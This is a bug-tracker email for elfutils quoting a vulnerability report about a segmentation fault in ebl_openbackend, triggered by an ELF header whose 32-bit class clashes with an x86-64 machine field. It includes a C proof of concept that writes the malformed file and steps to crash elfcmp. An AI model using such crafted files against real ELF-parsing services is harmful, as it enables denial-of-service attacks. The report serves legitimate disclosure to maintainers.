https://sourceware.org/bugzilla/show_bug.cgi?id=33591
--- Comment #1 from Ziad Salah <zeyadsalah686 at gmail dot com> ---
(In reply to Ziad Salah from comment #0)
> Dear elfutils Team,
> This report details a Type Confusion vulnerability in elfutils-0.194 that
> leads to a Denial of Service.
>
> Bug Description
> The crash occurs in the ebl_openbackend function when processing an ELF file
> with a conflicting header: e_ident[EI_CLASS] is ELFCLASS32, while e_machine
> is EM_X86_64.
> The function's logic appears to prioritize the e_machine field, leading it
> down a 64-bit path. This results in an attempt to dereference an
> uninitialized pointer (elf->state.elf32.ehdr) at eblopenbackend.c:330,
> causing a segmentation fault.
> A robust library should handle this logical contradiction by returning an
> error, not by crashing.
>
> Security Impact
> I have read the project's SECURITY policy and understand the distinction
> made for tools used in a local, interactive context.
> However, this vulnerability has significant security implications for
> non-interactive, production systems that use elfutils as a dependency.
> Examples include:
>
> - Malware analysis platforms
> - CI/CD build servers
> - Any service that programmatically parses untrusted ELF files
>
> In these environments, this bug is not a simple interactive crash. It is a
> vector for a Denial of Service attack via Resource Exhaustion. A remote
> attacker can repeatedly submit the malicious file, trapping all available
> worker threads in a crash-restart loop. This effectively makes the service
> unavailable to all legitimate users.
> Due to this potential for severe operational disruption, I believe this
> issue warrants a security-level response and consideration for a CVE.
>
> Proof of Concept (PoC)
>
> #include <stdio.h>
> #include <string.h>
> #include <elf.h>
>
> int main() {
> const char* filename = "crash-poc.elf";
> FILE* f = fopen(filename, "wb");
> if (!f) {
> perror("Failed to create PoC file");
> return 1;
> }
>
> // We only need the ELF header to trigger the bug.
> Elf32_Ehdr ehdr = {0};
>
> // 1. Set the standard ELF magic bytes.
> memcpy(ehdr.e_ident, ELFMAG, SELFMAG);
>
> // 2. This is the core of the vulnerability: Create the type confusion.
> ehdr.e_ident[EI_CLASS] = ELFCLASS32; // We claim to be a 32-bit ELF.
> ehdr.e_machine = EM_X86_64; // But we claim to be for a
> 64-bit architecture.
>
> // 3. Set other fields to be a valid-looking header.
> ehdr.e_ident[EI_DATA] = ELFDATA2LSB;
> ehdr.e_ident[EI_VERSION] = EV_CURRENT;
> ehdr.e_type = ET_EXEC;
> ehdr.e_version = EV_CURRENT;
>
> // Write the malicious header to the file.
> fwrite(&ehdr, sizeof(ehdr), 1, f);
> fclose(f);
>
> printf("PoC file '%s' created successfully.\n\n", filename);
> printf("To prove the bug, run:\n");
> printf(" ./src/elfcmp %s %s\n\n", filename, filename);
> printf("This will cause a segmentation fault.\n");
>
> return 0;
> }
>
> Reproduction Steps
> Save the code above as poc.c and compile it:
> gcc -o create_poc poc.c
> Generate the trigger file:
> ./create_poc
> Trigger the crash with an elfutils tool:
> ./src/elfcmp crash.elf crash.elf
>
> Thank you for your time and attention to this matter.
> Best regards,
> Ziad Salah
--
You are receiving this mail because:
You are on the CC list for the bug.
